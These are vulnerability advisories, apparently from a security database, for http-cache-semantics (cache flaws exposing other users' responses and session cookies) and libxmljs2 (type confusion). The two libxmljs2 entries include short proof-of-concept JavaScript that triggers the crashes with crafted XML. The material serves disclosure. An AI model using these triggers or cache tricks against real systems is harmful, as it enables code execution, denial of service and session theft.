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Overview

Affected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client max-stale directives. An unauthenticated attacker can request the same URL with a large max-stale value to retrieve cached responses belonging to other users, including Set-Cookie session credentials from shared-cache entries that were deliberately zeroed for security reasons.

Remediation

There is no fixed version for http-cache-semantics.

References

• GitHub Issue
• Vulnerable Code
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Origin Validation Error via the _varyMatches() function, which fails to properly handle Vary: * (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The Vary: * directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.

Remediation

There is no fixed version for http-cache-semantics.

References

• GitHub Issue
• Vulnerable Code

Overview

libxmljs2 is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Type Confusion due to the improper handling of a specially crafted XML file. An attacker can cause a denial of service, data leak, infinite loop, or execute arbitrary code by invoking a function on the result of attrs() that was called on a parsed node.

PoC

const libxmljs2 = require('libxmljs2');

var d = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note
[
<!ENTITY writer `" + 'A'.repeat(0x1234) + `">
]>
<from>&writer;</from>
`;

t = libxmljs2.parseXml(d, {flags: [libxmljs2.XMLParseFlags.XML_PARSE_HUGE]})
from = t.get('//from')
c = from.childNodes()[0]
c2 = c.childNodes()[0]
c2_attrs = c2.attrs()

Remediation

There is no fixed version for libxmljs2.

References

• GitHub Issue

Overview

libxmljs2 is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Type Confusion when parsing a specially crafted XML while invoking the namespaces() function (which invokes XmlNode::get_local_namespaces()) on a grand-child of a node that refers to an entity.

Exploiting this vulnerability leads to an RCE, data leak DoS on 64-bit and 32-bit systems.

PoC

const libxmljs2 = require('libxmljs2');

var d = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note
[
<!ENTITY writer PUBLIC "` + "A".repeat(8) + "B".repeat(8) + "C".repeat(8) + "D".repeat(8) + "P".repeat(8) + `" "JFrog Security">
]>
<from>&writer;</from>
`;

t = libxmljs2.parseXml(d)
from = t.get('//from')
c = from.childNodes()[0]
c2 = c.childNodes()[0] //entity_decl
n = c2.namespaces(true) //onlyLocal = true

Remediation

There is no fixed version for libxmljs2.

References

• GitHub Issue